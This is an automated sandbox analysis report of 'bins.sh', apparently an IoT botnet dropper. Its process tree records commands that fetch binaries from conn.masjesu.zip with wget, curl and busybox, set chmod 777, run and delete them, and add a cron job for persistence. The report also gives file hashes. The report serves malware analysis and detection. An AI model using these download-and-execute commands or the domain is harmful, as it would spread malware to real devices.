Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24/11/2024, 06:07

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241124-gva6msxmax
  • SHA256 b1304bfeb8a1f6b48018012108dcdac58da9eebd03cf9fe784256a37528ada84
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1733) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:733
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Executes dropped EXE
          PID:737
        • /bin/rm
          rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
            PID:739
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:788
          • /bin/chmod
            chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • File and Directory Permissions Modification
            PID:789
          • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Executes dropped EXE
            PID:790
          • /bin/rm
            rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
              PID:792
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:793
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:794
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:802
            • /bin/chmod
              chmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • File and Directory Permissions Modification
              PID:807
            • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              ./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Executes dropped EXE
              PID:809
            • /bin/rm
              rm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
                PID:812
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:813
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:832
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:834
              • /bin/chmod
                chmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • File and Directory Permissions Modification
                PID:835
              • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                ./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:836
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:838
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:839
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:840
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:841
                  • /bin/rm
                    rm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                    2⤵
                      PID:843
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                      2⤵
                      • System Network Configuration Discovery
                      PID:846

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs

                        • Path /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
                        • Size 141KB
                        • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                        • MD5 SHA1 SHA512 SSDEEP

                        Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

                        • Path /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
                        • Size 107KB
                        • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                        • MD5 SHA1 SHA512 SSDEEP

                        QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

                        • Path /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                        • Size 151KB
                        • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                        • MD5 SHA1 SHA512 SSDEEP

                        RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

                        • Path /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
                        • Size 177KB
                        • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                        • MD5 SHA1 SHA512 SSDEEP

                        tmp.u1Kqy1

                        • Path /var/spool/cron/crontabs/tmp.u1Kqy1
                        • Size 210B
                        • SHA256 daddfd1464e91424f9c0c04bb37d90b097b81c41c398ef4a1f498a803793831f
                        • MD5 SHA1 SHA512